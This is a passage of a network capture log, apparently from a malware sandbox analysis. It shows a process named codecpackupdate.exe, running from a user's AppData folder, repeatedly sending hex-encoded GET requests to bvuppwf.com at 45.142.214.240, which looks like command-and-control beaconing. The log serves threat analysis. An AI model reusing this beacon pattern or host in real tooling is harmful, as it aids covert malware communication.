39	192.168.2.4	49779	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:29.458061934 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:29.758946896 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49780	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:30.093137980 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:30.406164885 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Mar 29, 2024 12:59:30.512532949 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:30.812120914 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Mar 29, 2024 12:59:30.918915987 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:31.226247072 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49781	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:31.562211037 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:31.860681057 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49782	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:32.211512089 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:32.516931057 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49783	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:32.856144905 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:33.160276890 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49784	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:33.499588966 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:33.798856020 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49785	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:34.137988091 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:34.440857887 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49786	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:34.777688980 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:35.075176001 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49787	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:35.421195984 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:35.723900080 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49788	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:36.058656931 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:36.364326000 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49789	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:36.699173927 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:36.995959044 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Mar 29, 2024 12:59:37.106190920 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:37.409293890 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49790	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:37.749118090 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:38.048827887 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49791	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:38.599677086 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:38.906938076 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49792	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:39.978368044 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:40.282648087 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49793	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:40.621953011 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:40.917171001 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Mar 29, 2024 12:59:41.029453993 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:41.330909014 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49794	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:41.668621063 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:41.965167999 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Mar 29, 2024 12:59:42.076478004 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:42.389615059 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Mar 29, 2024 12:59:42.497809887 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:42.794445992 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Mar 29, 2024 12:59:42.903228998 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:43.203939915 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49795	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:43.547929049 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:43.846704006 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49796	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:44.183959007 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:44.487411022 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49797	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:44.826159954 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:45.124955893 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49798	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:45.464018106 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:45.771872997 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49799	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:46.108211040 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
